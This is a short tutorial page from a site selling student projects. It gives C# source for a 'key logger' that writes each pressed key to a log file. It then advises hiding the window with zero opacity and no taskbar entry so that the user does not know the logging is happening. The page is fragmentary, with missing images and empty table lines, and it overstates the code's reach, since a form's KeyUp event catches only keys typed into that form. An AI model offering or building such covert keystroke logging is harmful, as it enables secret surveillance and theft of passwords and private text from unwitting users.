
Projects By LANGUAGE
Libraries
Articles & seminars
Source Code

The price of the projects include source code, abstract, report and support for development and deployment. Please use our contact us form or send email to Support@srishtis.com
Key Logger Application in C# |
|
In this article, we'll explain an easy but an important concept of how to catch user pressed keys and write them into a log file. |
|
Description |
|
|
|
|
|
Now lets set the KeyPreview Property of the form on true, so that well be able to catch keys. |
|
|
|
ok, now lets write some code in the KeyUp Event |
|
private void Form1_KeyUp(object sender,System.Windows.Forms.KeyEventArgs e) { listBox1.Items.Add(e.KeyCode); StreamWriter sw = new StreamWriter(@"C:\SrishtiLog.txt",true); sw.Write(e.KeyCode); sw.Close(); } |
|
listBox1.Items.Add(e.KeyCode); |
|
this line of code is to see keys pressed in the listbox; |
|
then lets write the pressed keys in a text file: |
|
|
|
Finally,we have a very good tip in order to use the application, without the user knowing.We need to set the Opacity Property of the form on 0%, and to set ShowInTaskBar on False otherwise the user will know something is up. |
|
Before: |
|
|
|
after: |
|
|
|
